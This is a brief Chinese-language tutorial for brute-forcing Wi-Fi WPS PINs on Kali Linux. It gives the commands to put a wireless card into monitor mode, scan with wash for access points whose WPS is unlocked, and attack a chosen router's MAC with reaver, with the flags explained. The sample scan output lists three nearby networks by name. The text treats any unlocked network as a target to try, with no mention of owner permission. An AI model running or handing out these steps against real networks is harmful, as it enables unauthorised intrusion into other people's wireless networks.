启动网卡到 monitor 模式

# ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up

• wlan0：无线网卡的名字
• 操作系统：Kali Linux

扫描开启WPS的WIFI设备

WPS Locked为No的都可以尝试爆破

# wash -i wlan0

Wash v1.5.2 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
mod by t6_x <t6_x@hotmail.com> & DataHead & Soxrok2212

BSSID                  Channel       RSSI       WPS Version       WPS Locked        ESSID
---------------------------------------------------------------------------------------------------------------
E6:FF:18:81:FF:DC      11            00        1.0               No                TP-LINK5389
F0:FF:29:69:FF:C7      13            00        1.0               No                BOBO
40:FF:9F:73:FF:BA       6            00        1.0               No                DaoDao

使用reaver开始爆破

# reaver -i wlan0 -b 40:FF:9F:73:FF:BA -S -N -vv -c 6

• 耗时较长，扫描文件保存在/var/lib/reaver目录中
• -i 指定网卡
• -b 指定目标MAC地址
• -S 使用最小的DH key（可以提高PJ速度）
• -c 指定信道可以方便找到信号，如-c 1 指定1信道